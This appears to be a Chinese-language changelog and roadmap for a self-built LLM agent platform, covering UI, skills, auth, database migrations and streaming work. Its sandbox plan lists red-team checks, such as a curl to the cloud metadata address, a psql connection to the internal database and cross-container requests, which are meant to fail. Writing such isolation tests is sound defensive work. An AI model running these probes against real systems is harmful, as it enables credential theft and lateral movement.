完全不动;.dd-item颜色微变(原 #2e7d32 → #27ae60 等,因为统一到 5 组色 token)是可接受的副作用。 - 工作目录回到原生
<select>+ sentinel + 二级 input(modal + 顶部 filter):combobox 方案推翻 —— 即使 show 时不过滤,modal 里 wd 因联动有值之后用户的直觉仍然是"我得点开下拉看选项",自己实现的 panel 总不如浏览器原生 select 稳。改回 select 范式:① modalnt-wd-sel第一项 sentinel+ 新建「<name>」(label 由updateSentinelLabel跟 name 实时刷)+ 其后已有目录列表;sentinel 选中时显示二级nt-wd-new输入框默认值跟随 name,选已有目录时隐藏。wdManuallyEdited锚到二级 input 上(用户改它就脱钩,清空恢复跟随)。② 顶部filter-wd也改成<select>,首项(全部目录),onchange →loadTaskList;原 input 的 debounce listener 删,搜索filter-q的 debounce 保留独立写。③loadFolderSuggestions拉数据 + 新增populateFolderSelects灌两个 select(保留当前选中值);enterApp启动时 fire-and-forget 预拉一次让左 pane 一打开就有选项。④ hint 在"输入新名恰好命中已有"时提示"将复用而非新建"。combobox 工厂 + .combo CSS + datalist 残留全删。 - 新建任务弹窗工作目录改 combobox + name 联动:
web/static/dev.htmlmodal 里nt-wd-sel从<select>改成<input list="folders-datalist">,删+ 新建目录…sentinel + 二级nt-wd-new输入框;加wdManuallyEditedflag —— name 输入时若 flag=false 自动同步到 wd(programmatic 改 value 不触发 wd input 事件不会假阳性),wd 非空输入置 flag=true 脱钩,wd 清空重置 flag=false 但保持空(避免 backspace 想换名字时被立刻填回打断);submit 保留working_dir || namefallback 兜底空值。loadFolderSuggestions不再渲染 select options,只灌共享 datalist + 缓存到state.folders供 hint 比对"命中已有/新建"。label 文案(可选,留空 → 用任务名...)→(默认跟随任务名;可输入新名或选已有目录复用),更直观。 - system prompt 注入 task 预选 skill 提示:
core/agent_builder.py::_build_system_prompt加task_skill参数,非空时在"工作目录与 task 上下文"段加一行- **task 预选 skill**: \` — 用户创建时声明的主 skill;空字符串走老路径,prompt 字节级一致。LLM 拿到这条事实 +general_v1.md:17-23已有的"对应 skill 领域先 load_skill" 规则自然组合 → 主动 load。否决"直接把完整 SKILL.md 预注入 prompt"方案 —— 那会把tasks.skill` 从 metadata 升格成 binding,需要同步改 DESIGN.md / 想清楚 PATCH 改 skill 的语义,投入产出比不划算;轻量提示保渐进披露三层架构不动。 - imagegen skill 加 ⛔ 调 tool 前必须贴 prompt 给用户 + BLOCKING 等确认硬约束:用户反馈之前流程"模糊就问"不够,清楚的描述也可能模型脑里和用户脑里对不上,事后看图才发现白烧 ¥0.22。改:① 顶部流程一句话加"⛔ 把 prompt 完整贴给用户看 + 问改不改 → 用户明确确认后 → 调 seedream"步骤;② 加「调 tool 前的强制门(铁律)」段定义回复分类(可以/OK/画吧/嗯 算确认;改 X → 重贴重等;沉默/追问别的 → 继续等;模棱两可 → 追问到明确);③ 加「调 tool 前再过一道」段给具体贴 prompt 的对话格式(代码块 + 参数清单 + 预计花费 + 一句"开烧?改什么?");④ 调用范式段加"前置条件:已拿到明确确认才调";⑤ 反模式加两条(没贴就调 / 模棱两可当确认)。本质是把"模型脑内装配"摊到对话层让用户最后过一眼,装配 ≠ 授权调用。:用户反馈 skill 缺图片比例引导。原 SKILL 里 size 表写"比例只能正方形"是基于 doubao.yaml + tool 参数描述只列三个正方形例子的间接推断,无验证。改:① 诊断五维 → 六维,加"比例/尺寸"(ppt 16:9 / 海报 9:16 / 头像 1:1 / 公众号 2.35:1 / 书籍 3:4);② 一次性追问范式加比例项,上下文推断里给"做 ppt/海报/公众号/学术示意"四种用途的默认比例;③ size 参数表重写成"按用途选比例,再选分辨率",列常见 size 参考值 + 明确"非方形是按比例算的参考值,豆包是否原生支持需首次小调用验证";④ 失败解药表加比例错(改 size 不动 prompt)+ API 报错回退默认两条;⑤ 反模式加"不问比例就默认走 yaml 1:1"。承认 unknown:豆包 5.0 实际支持哪些非方形 size 没验证,首次用错就回退默认 + 让用户协商,不臆造。:两根因 —— ①
general_v1.md「媒体生成工具」段把seedream写成一级直觉(列了"画/出/来张"等关键词 + 直接调 tool 的 how-to),压过 skill discovery block 的微弱声音;② imagegen description 关键词覆盖窄(没有"画/绘制/艺术图/图片"等朴素词)。修法:system prompt 那段改成"调 seedream 前必须先load_skill('imagegen')",细节判断全移到 skill 里,只留 ¥0.22 计费 + 不装饰生成 + 不连发三条兜底硬约束;imagegen description 扩 17 个触发词(画/绘制/出图/来张/艺术图/写实图/场景图...)。两层联动:一级 prompt 指引到 skill,二级 description 提匹配概率。 - 新增 imagegen skill(引导用户说清楚生图需求):
skills/imagegen/SKILL.md单文件(参考 coding skill 范式无 scripts/references)。核心是"先诊断模糊度 → 一次性给推断 + 待确认项 → 用户拍板 → 装配 prompt → 调seedreamtool"五步法,防止用户一句"画个 XX"就直接烧 ¥0.22。五维清单(主体/场景/风格/构图/光线)缺 2 维以上就先问;mermaid vs seedream 选型给"默认倾向 mermaid + 反向选 seedream 信号 + 模糊时主动一句话问用户"三段式(没在 system prompt 那段流程图优先 mermaid 上一刀切,留 skill 层细化判断);size/watermark/search 默认值取舍 + 失败不复发的解药表 + 8 条反模式。seedreamtool 本身不动,skill 仅是流程引导层。 - 登录页加"+ 管理员添加用户"入口 + 删 chat meta 条/tok 显示:
web/auth.py加create_user()helper(CLI/web 共用,避免漂移)+AuthConfig.admin_token从ZCBOT_ADMIN_TOKENenv 读(未设 → None);web/app.py加POST /v1/auth/admin/create_user校验共享口令后落库(503/403/400/409 分支);前端dev.html登录卡片右下加 ghost link + 弹窗(email/密码/管理员口令),成功后回填邮箱到登录表单提示"已创建请登录",不自动登录;同时删 chat 顶栏${n_messages} 条 · ${tokens} tok一行(与左 task 列表重复)。否决"User 表加 is_admin 列 + 管理员 JWT"方案 —— 开发期成本不划算,env 共享口令(类 PLATFORM_KEY 范式)够用。 - 新增 documents skill(内部材料学科知识库 document_search API):
skills/documents/{SKILL.md, client.py},四函数list_kb / search / download / health;走https://ai.ctc-zc.com:8100/apiBearer 认证,envDOCUMENT_SEARCH_API_KEY+DOCUMENT_SEARCH_URL(可覆盖);search 默认返md_content(整篇 Markdown 50K-200K 字符级),SKILL.md 反模式约束"只 print 前 300 字"防爆上下文;smoke 验证发现库实质是 7 个材料学科预收的英文学术论文(胶凝/陶瓷/玻璃/晶体/复合/耐火/检验检测,21W+ 文件)+ 跨语言语义检索,SKILL.md 据此校准(原写"主语料中文"是错的);与 research(OpenAlex)互补,documents 已 Markdown 化对 LLM 更友好,但仅覆盖材料领域。 - dev SPA SSE 客户端重连(覆盖 --reload 抖动):
fetchSse拆出consumeSseStream+ 包重连壳(1s/2s/4s 退避,最多 3 次);reader EOF 未见 done/error 算异常关流触发重连;后端stream_events入口检tasks.run_status,非 running/cancelling 立即吐 done 关流(否则进程重启后新 broker 内存空,客户端会无限挂 ping)。3 次仍失败 → 卡片末尾红色"连接已断开,请重发"。断开期间 LLM delta 丢失,接受。 - research skill 三次迭代 fetch_pdf 改走静态直链:
fetch_pdf跟fetch_xml同范式,从paper["pdf_url"]流式下载,绕开 paper_pdf_view 路径 bug(disk 路径计算错);smoke 5/5 PASS。 - research skill 二次迭代 list 端点加 pdf_url / xml_url 直链 + 新增 fetch_xml + pg_trgm GIN 索引:serializer 后端拼直链(避免 LLM 拿 stale URL),
0006_pg_trgm给 title/first_author/institution 加 GIN 把?search=xxx从 30s timeout 降到几十 ms;SKILL.md 加"XML 优先 PDF"原则(XML 已结构化免 OCR)。 - 顶栏 token 累计修(sync_task_tokens 改走 messages SUM):5/20 切 streaming 后
LLM.TokenCounter内存计数器永不更新;删 TokenCounter 整个类,sync_task_tokens改SELECT SUM(tokens_in/out) FROM messages WHERE task_id=?现算;backfill 4 个 task。 - 同 wd 并发软警告 banner +
/v1/tasks加run_status筛选:Claude Code 同款"信任 + 软警告"范式;selectTask+ SSE 收尾两点拉同 wd running task,黄底 banner 提示邻居;task header📁 wd仅在 name≠wdName 时显示。否决了 γ 硬挡 / short_id 全产物隔离 / clone task 三方案(详见 DESIGN §7.9 2026-05-21)。 - paper_server → research skill:范式判断走 skill(非 tool / 非 MCP / 非裸 httpx),
skills/research/{SKILL.md, paper.py},三函数search / get_paper / fetch_pdf;run_python注入PYTHONPATH=base_dir让子进程能from skills.research.paper import;paper_server 侧补 retrieve 端点 +PaperFilterSet+ serializer 加 abstract。
2026-05-20
- dev SPA chip 二次校准:工具 I/O 走产物白名单(seedream/seedance);助手正文 echo 路径无条件挂 chip 绕开 seenRels + 强制
allowInlineMedia=false(防同图二次 inline)。 - chip 维度解绑产物工具白名单 +
renderArtifactBarHtml加allowInlineMedia参数:gate 降级到"图片/视频是否 inline"层,chip 不再受产物白名单限。 - loop.py tool message 补
name字段 + backfill 历史:OpenAI tool spec 本来就有name,缺它导致历史回放无 banner / 无 chip;一行 fix + 幂等脚本回填 17 条。 - chip 抽取改产物工具白名单门控:
ARTIFACT_PRODUCING_TOOLS = {seedream, seedance},grep/read/shell 等通用工具结果里 echo 的路径不再误挂 chip;assistant 正文不门控(seenRels 兜底)。 - dev SPA 输入区删上传按钮 + 加"✨ 润色"按钮:
POST /v1/tasks/{id}/optimize_prompt同步走 task.model_profile 装配 LLM,meta-prompt 含当前模型 + image variant 元数据;execCommand 插入接入 textarea 原生 undo 栈;计费写usage_events.kind="prompt_optimize",不调sync_task_tokens不污染顶栏。 - 中间产物 chip / inline 图去重 + CLAUDE.md 加"实施前先对方案"段:
renderMessages顶部建seenRelsSet +pickFresh闭包给 5 个渲染点共享;CLAUDE.md 新规:非平凡改动动手前先口头对方案。 - 顶栏加生图模型下拉 + 中间产物图片/视频内联展示:
GET /v1/image_models扫 yaml image 段;build_agent(image_variant=...)装 SeedreamTool;renderArtifactBarHtml按_categorize(rel)分支,image/video 走 blob URL inline,异步upgradeMediaArtifacts替换占位;切 task 时_flushMediaArtifactCache回收 blob。 - LLM 调用切 streaming(cancel 秒退)+ 发送/停止合并单按钮:
chat_stream(stream=True, include_usage=True)+litellm.stream_chunk_builder拼回 response,chunk 间 poll cancel;前端打字机靠_emit("text", delta=...)激活(原有渲染逻辑早就备好);#chat-action按state.streaming切发送/停止/停止中三态。 - dev SPA seedream tool 透明性 banner:tool 返串首行
[seedream] model=... · size=... · cost=¥... · elapsed=...s,前端正则 parse 挂折叠态徽章。 - 豆包 Seedream 5.0 接入 + 0007 cost_usd → cost_cny 全表统一币种:
config/media/doubao.yaml独立命名空间(ARK_API_KEYenv),tools/seedream.py走core/ark_client.py同步调/images/generations,产物落<wd>/figures/<ts>-<rand>.png+ 同名 .meta.json;record_image_usage把price_cny_per_imagesnapshot 进 units jsonb(调价防漂移);0007 全表 ×7.2 一次性折 CNY;仅当 ARK_API_KEY 设了才挂 tool。 POST /v1/files/delete加recursive+ 顶层目录 task 引用闸:recursive=True走shutil.rmtree;顶层目录被 task 引用 → 409"先 DELETE task 再清";前端非空目录二次确认带子项数。- fs tool 输出渲染 user_root-relative 路径:
tools/base.py::Tool加user_root+_display(p)helper,fs.py 五 tool 所有结果串走 helper;chip 锚点用_workingDirName取末段(绝对路径返空);assistant 正文也挂 chip。根因消 chip 404 + 防 uuid/部署根泄漏。 POST /v1/tasks/{id}/clear清空对话:同事务 lock + 检 running 状态 +DELETE messages+ reset task 三列累计 + run_status='idle';usage_events 全不动(账单 source of truth)。- dev SPA chip 一期(对话内 tool_call/result 挂 artifact chip):
extractArtifactRels正则锚定<wd>/...+ 末段需含.(滤目录);.art-chip点击委托openFilePreview。 - task 级宪法文件 spec 命名约定 +
spec_lock→spec简化:<YYYY-MM-DD>-<task_short_id>-<task_name>.spec.md,short_id 作主锚 + glob 字典序最大 = current;_build_system_prompt注入 task_id / today;proposal/ppt SKILL.md 加"先 glob 检 spec → 询问沿用/重定调"分支。 - dev SPA 左 pane 折叠改 VS Code rail 模式 + time-ago 锁宽跨行对齐:
body.left-collapsed用grid-template-columns: 40px 1fr 320px,只显折叠按钮;time-ago加flex-shrink:0; min-width:64px让 [N 条][N tok][time] 整组位置稳。 - 任务行 meta 数字槽位跨行对齐:
tabular-nums+.num{flex-shrink:0;text-align:right;min-width:44px}+fmtTokens(n)桶分级(1.2k / 123k);折叠按钮拆双入口(pane / header)。 - dev SPA 左 pane 调宽 280→320px + 行精简 meta:删 id8 span 挪到 row title hover;副行恢复 inline ellipsis 三件套;
white-space:nowrap防 CJK 断行。 - 任务列表 pager bar → IntersectionObserver 滚动加载:
loadTaskList({append})双语义 +_taskLoadSeqtoken 抢占式;sentinel 三态文案;首 pane-head 补"共 N 个"总数显示。 - 任务行加最近操作时间(
updated_at+fmtTimeAgo):相对时间分级(刚刚 / N 分钟前 / N 小时前 / 昨天 HH:MM / MM-DD HH:MM / YYYY-MM-DD)+ title hover 完整时间。 - 新建任务弹框工作目录改
<select>下拉:含+ 新建目录…sentinel 触发备用 input;loadFolderSuggestions同次灌 select + datalist(后者只服务左 pane filter)。 - dev SPA 主页轻量美化:header brand wrapper(24px 红渐变 Z logo)+ pane-head 子层级 + 顶栏按钮"中性 → hover 上语义色" + 圆角 4→6 / modal 6→8 + 阴影加深。
config/models/glm.yaml:智谱 GLM 5.1 接入(litellm zai provider + bigmodel.cn):zai/glm-5.1+api_base=https://open.bigmodel.cn/api/paas/v4覆盖国际站默认;envZHIPUAI_API_KEY;thinking_mode=false(GLM 协议是extra_body.thinking.type=enabled与 OpenAI/DeepSeek reasoning_effort 不同,留 TODO)。- files SPA UX 翻面(destination-first)+ 拖拽上传 + 修 checkbox 全局 width bug:模型从 select-then-pick-dest 改 at-dest-pull-sources;
input{width:100%}选择器排除 checkbox/radio/file;#pane-right监听拖拽 + 红虚线 overlay 落state.filesPath。 POST /v1/files/{copy,move}跨目录批量搬动:_validate_transfer预检 helper 批量原子校验;move 加顶层目录 task 引用闸(维持"working_dir = 顶层目录"invariant),copy 无此闸。- working_dir 视为可重生 FS 视图:DB source of truth,FS 目录可独立删 / 用户手动 rmtree / 跨机器迁移丢失,下次跑自动 mkdir 重建;DELETE task 后空目录 best-effort rmdir 清孤儿;files delete 顶层目录闸去掉。
2026-05-19
- 0006 模型切换(c 模式 task 级 A 粒度)+ usage_events v2 表:
tasks.model_profile变 source-of-truth,顶栏下拉 PATCH 即换(A 粒度下条 send 生效);GET /v1/models扫 yaml;message 历史按messages.model_profile切换点画── DeepSeek V4 Pro ──;usage_events 重建多态形态(units jsonb,chat 已接入,媒体扩展位预留)。 - dev SPA 登录撤回 邮箱+密码,删 invites 表:前两条"邀请码 env → invites 表"一日游撤回;复用 users.email + bcrypt 哈希;
/v1/auth/login_password+user addCLI;dev SPA 双 tab 登录(last-used LS 持久化)。 - SENTINEL user 彻底撤(数据 + 代码):web 必走 JWT 后 sentinel 无角色;DB CASCADE 删 + 10 处代码删 import / fallback;
build_agent加*让 user_id 必填(typechecker 拦多 user 函数)。 - 任务/文件行
⋯下拉菜单 + tool_result debounce 刷新右侧:单例浮层菜单(#floating-menuposition:fixed)避开 pane overflow 裁剪;tool_result事件 debounce 500ms 刷新文件 panel。 - proposal skill mermaid 强制 + quality_check 加图相关 4 拦截 +
/v1/files/download加Cache-Control: no-cache:模型曾写满 ASCII 字符画从未用 mermaid;render_diagrams caption 强制必填 + 同 task 唯一;quality_check 加"figures/ 有 png 但 sections 0 引用 / 围栏含 box-drawing / mermaid 缺首行 caption / caption 撞名"四条。 - dev SPA 文件预览弹框:点击不再直接下载,90vw 模态按扩展名分派(image/pdf/text/md 已有 / docx 用 docx-preview / xlsx 用 SheetJS);vendor 入 git(~1MB)。
2026-05-18
- 入口归位:
cli.py→main.py,原main.py→core/agent_builder.py,删 CLI REPL,§7 E 撤:main.py原混三角色按 SoC 拆;git mv+ 5 处 import 修;CLI 只剩db / probe / web / user。dev SPA 已是 dogfood 主路径,REPL 无--remote双 transport 维护税。 - 0004 schema 大瘦身:删 runs / usage_events 旧版,合 run_status / run_error 入 tasks;路由 run_id → task_id:单活 run 形态下客户端只需 task_id;broker 全 task_id 索引 + 加
start(task_id)清上轮 done 标记。 POST /v1/files/rename+ 顶层目录 delete 加 task 引用闸:/v1/files/*升格为唯一目录树 mutation 入口,DB-FS 一致性服务端内化;顶层目录走 DB-aware 分支(SELECT FOR UPDATE + running/cancelling 409 + check_no_subtask + UPDATE 先于 FS rename)。- task-level cancel + AgentLoop 协作式 cancel + dev SPA stop 按钮:Broker 加
request_cancel / is_cancelled / clear_cancel(per-taskthreading.Event+ setdefault);Loop 加cancel_checkcallable +_fill_cancelled_tool_results补 cancelled tool message;LLM 同步 call 本身不可中断(后接 streaming 修)。 POST /v1/tasks/{id}/messages单活 run 锁 + 孤儿 reaper:同事务SELECT FOR UPDATE+ 活跃状态检查 + 标 running 三步原子;lifespan reaper 清进程 crash 留下的 running/cancelling 孤儿。- proposal skill 流程图/结构图管线:
render_diagrams.py扫 mermaid 块 → mmdc / mermaid.ink → png;render_docxadd_picture识别单行 + mermaid 围栏特判;图编号ctx['fig_no']递增。 - system prompt skill 机制改"可选辅助":第 14 行从"永远 load 一下"改"简单问答/读代码/改 bug 不必硬套 skill";接 GET /v1/skills 下拉。
GET /v1/skills+ dev SPA skill 字段改下拉:lifespan 启动扫一次挂app.state(FS 静态运行中不变);<select>首项空值,option 文案name — description。- dev SPA 全套 UI 中文化:静态 + 动态文案全本地化;技术字段(UUID / token / SSE event 名 / API 字段)不动。
2026-05-17
- 0003 schema:name + working_dir + skill 三件套:任务标识与工作目录解耦;
TRUNCATE tasks CASCADE+ 字段改名 + 加name TEXT NOT NULL;GET /v1/folders给 dev SPA modal datalist。 GET /v1/tasks分页 + 多维筛选 + ordering:{page,page_size,count,results}+ 6 个 query(status/skill/working_dir/q ILIKE/ordering);allowlist 防注入;默认-created_at。- task 硬删 API + dev SPA delete 按钮 + 文件 per-row 删:
DELETE /v1/tasks/{id}user_id 校验 + DB 行删(messages CASCADE)+ FS task_dir 不动(同 name 多 task 共享时 rmtree 易擦素材)。 - files API 全面 user-rooted(去掉 task_id 前置):
_safe_join边界改 user_root + dotfile 过滤(.memory/隐藏);dev SPAloadFiles()不再 gate on task_id。 - files 面板 UX 项目名 + 修 root crumb bug:
cur_rel == "."不追加无意义 "." crumb;crumbs 第一格 label 从 "/" 改项目名。 - task_dir 改 eager mkdir:
build_agent新建分支 +create_task都mkdir(parents=True, exist_ok=True);name = 项目声明,目录该 task 创建时存在。 - task = name-based 项目目录 + memory dotfile:废 UUID 派生 +
tasks/中间层;task_dir = workspace/users/<uid>/<name>/,同 name 多 task 共享;memory 搬.memory/dotfile;validate_task_name拒.起头。
2026-05-15
- §7 D 阶段
/v1JSON API 落地;Phase G Jinja2/HTMX UI 路线撤:删 templates + CSS + jinja2/markdown-it-py/pygments 依赖;SSE event 由 HTML 片段切 JSON(event: <type>+data: <JSON>);dev SPAweb/static/dev.html留作本地 dogfood 主路径。 - §7 D' 过渡 auth(PLATFORM_KEY → JWT)+ dev SPA:pyjwt HS256 +
AuthConfig.from_env()fail-fast;数据隔离全Task.user_id == user_id,跨 user 视 404;SSE 走 fetch + ReadableStream 手解(EventSource 不支持自定义 header)。 - task_dir 改相对存储:DB 存 ROOT 内→相对 posix / ROOT 外→保留绝对;
core/paths.py::{ROOT, to_db_path, from_db_path}三出口;alembic 0002 一次 UPDATE backfill。CLAUDE.md 加"开发期不写兼容层"心智。 - workspace 布局统一 per-user:
workspace/users/<user_id>/{tasks/<uuid>,memory/}/;清旧数据不留兼容。 - litellm 启动 cost map 网络警告兜底:
LITELLM_LOCAL_MODEL_COST_MAP=True走本地 cost map,冷启动 ~5s → <1s。 - Phase G G1-G6 Jinja2/HTMX Web UI (全撤,被 D + dev SPA 替换;沉淀的 sink / broker / no-subtask / files 安全归一保留)
2026-05-14
- §7.1 心智模型修正:Folder-centric → Task 一等公民 + Dir 文件副视图:dir 不是 task 父容器,双视图正交;task_dir 留空 = 一次性对话 / 指定 = 项目化。
- §7 B Steps 1-4 + 6:
core/storage/{engine,models}.pySQLAlchemy 2.x ORM(5 表)+ alembic +cli db {upgrade,downgrade,current};state.json全废,messages/TaskState 入 PG;check_no_subtask同 user 下查前缀嵌套。
2026-05-12
- §7 改写:platform/core 多租户方案废弃,改 user-direct(folder-centric → task-primary;task/messages 入 PG;no-subtask;hard cascade)。
历史(2026-Q1 → 05-11)
- Phase 1-4:骨架 / 三 skill / run_python / Model Profile + Probing;ppt v3 加商务红 + apply_brand + Iconify;素材摄取改 markitdown CLI。
- 05-06 → 05-08:Phase 6 部分(task + state.json + tokens 累计);TUI rich Markdown + spinner 实时耗时;
/resume [last|<id>]+ 懒创建 +_cleanup_if_empty。 - 05-09 → 05-10:DESIGN §7 初版(05-12 重写);
cli.py export+core/export_docx.py。 - 05-11:
atomic_write_text+core/memory.py(core.md 入 prompt,extended/* 索引);loop 事件流化sink.emit铺 SSE 路。
关键决策与偏差
| 项 | 决策 | 备注 |
|---|---|---|
| 工具基目录 | cwd(读)+ working_dir(写) | system prompt 同时注入两者绝对路径 |
| Workspace 布局 | workspace/users/<user_id>/{.memory/, <name>/} |
per-user 隔离;memory dotfile 防撞;同 name 多 task 共享 |
| Eval Suite | 不做 | 个人工具 dogfooding |
| 版本化 prompt | 直接 general_v1.md |
Windows 软链接麻烦,真要切再做 |
| run_python 沙盒 | subprocess + env 过滤 | Docker 在 §7 C 阶段 |
| 兼容层 | 开发期不写 | DB schema / 字段 / API 改动直接切,见 CLAUDE.md |
/v1/files/* 与 DB |
files API 作目录树唯一 mutation 入口,DB-FS 一致性服务端内化 | rename / delete 顶层目录 DB-aware |
| 单活 run | task 同时最多 1 个活 run | gate 在 post_message 同事务 SELECT FOR UPDATE |
| LLM 调用走 streaming | chat_stream + litellm.stream_chunk_builder 拼回;cancel 在 chunk 间 + tool_call 之间 poll |
cancel 延迟 100ms 级;content delta 即时 emit 给前端打字机 |
| 发送/停止单按钮 | UI 按 state.streaming 切态;streaming 期间 Enter 不触发停止 |
防误触 |
文件清单
core/capabilities.py 71
core/llm.py 151 ← litellm 离线 cost map env + chat_stream(stream=True + include_usage)
core/loop.py 268 ← §7 A sink.emit + _stream_llm(chunk 间 poll cancel + emit delta)
core/sinks.py 101 ← §7 A
core/ui.py 38
core/paths.py 50 ← task_dir db form 归一
core/probe.py 243
core/session.py 153 ← §7 B Step 2-3: ORM
core/skills.py 81
core/task.py 82 ← §7 B Step 3: PG-backed TaskState
core/memory.py 81 ← per-user `.memory/` dotfile
core/export_docx.py 383
core/storage/__init__.py 29
core/storage/engine.py 80
core/storage/models.py 130 ← 4 表(0004 删 runs;0005 email UNIQUE;0006 usage_events v2 + messages.model_profile;0007 cost_usd→cny)
core/storage/usage.py 125 ← record_chat_usage(USD→CNY ×7.2)+ record_image_usage(单价 snapshot 进 units)
core/storage/utils.py 136
core/ark_client.py 105 ← 火山方舟 HTTP 客户端(seedream / 后续 seedance 共享)
core/agent_builder.py 325 ← 装配 lib(有 ARK_API_KEY 才挂 SeedreamTool)
tools/{base,fs,shell,run_python,skill_tool,seedream}.py ~640 行
main.py ~210 ← 入口:web / db / probe / user
db/migrations/env.py 61
db/migrations/versions/
0001_initial_schema.py 125
0002_task_dir_relative.py 61
0003_task_name_and_working_dir.py 51
0004_drop_runs_usage_events.py 77
0005_users_email_unique.py 28
0006_usage_events_v2_and_message_model.py 60
0007_cost_usd_to_cny.py 40
web/__init__.py 5
web/app.py ~1320 ← /v1 JSON API + user_id 隔离 + run lock + cancel + files copy/move
web/auth.py ~190 ← 邮箱密码 + platform_key → JWT
web/broker.py 121 ← in-process pub/sub + cancel signal(全 task_id 索引)
web/sinks.py 21
web/static/dev.html ~2480 ← dev SPA(3 栏 + 文件预览 + 双 tab 登录 + 选入弹框 + 发送/停止单按钮 + 流式打字机)
web/static/vendor/ ~1 MB ← jszip / docx-preview / xlsx
─────────────────────────────────
Python 合计 ~3400 行(+ dev.html 1700 静态 + vendor 1MB)
加 skills/ppt|proposal|coding|research/ 脚本 ~700 行 + SKILL.md / references / config / prompts(含 config/media/doubao.yaml)+ alembic.ini,总仓库约 3800 行。
下一步候选(性价比排序)
- 真 OIDC 接入 + CORS 收紧(~1 天)——
/v1/auth/login内部换 OIDC ID token 校验(路由层 Depends 不动);CORS 改 platform 域名 allowlist。真发布给真实用户前必做。 - §7 C Executor + sandbox(~3-5 天,按 DESIGN §7.5 落地清单 6 条逐项实施)——
run_python/shell→Executor.run(...),本地保留 subprocess、SaaS 走 docker;api_key_env→KeyProvider运行时注入。多用户在线跑代码前置。Stage C 完成 DoD = 6 条落地清单全完成 + 红队回归用例通过:① 容器内curl http://169.254.169.254/...→ timeout / connection refused;② 容器内psql postgresql://<zcbot_pg_host>...→ IP block(连接失败);③ 容器内nohup sleep 1000 &exec 退出后docker top <user_container>看不到残留进程;④ 跨 user 容器互访(A 容器curl http://<B_container_ip>:*)→ 网络隔离阻断;⑤ 出网走 proxy 时未在 allowlist 的域名 → 403。原 ~2-3 天估值未含 egress proxy 部署 / xfs project quota 升级 / 红队用例,补回真实工程量。 - Phase 6 context 三层压缩(~1 天)—— 兜底,V4 长上下文一般用不到。
§7 B + D + D' + 单活 run 锁 + cancel + 0004 schema 瘦身 + 入口归位 主体已完工。剩余:真 OIDC → C(Executor)→ F(deploy / billing)。§7 E CLI 双模式撤;Phase G Jinja2/HTMX 撤(详见 DESIGN §7.9)。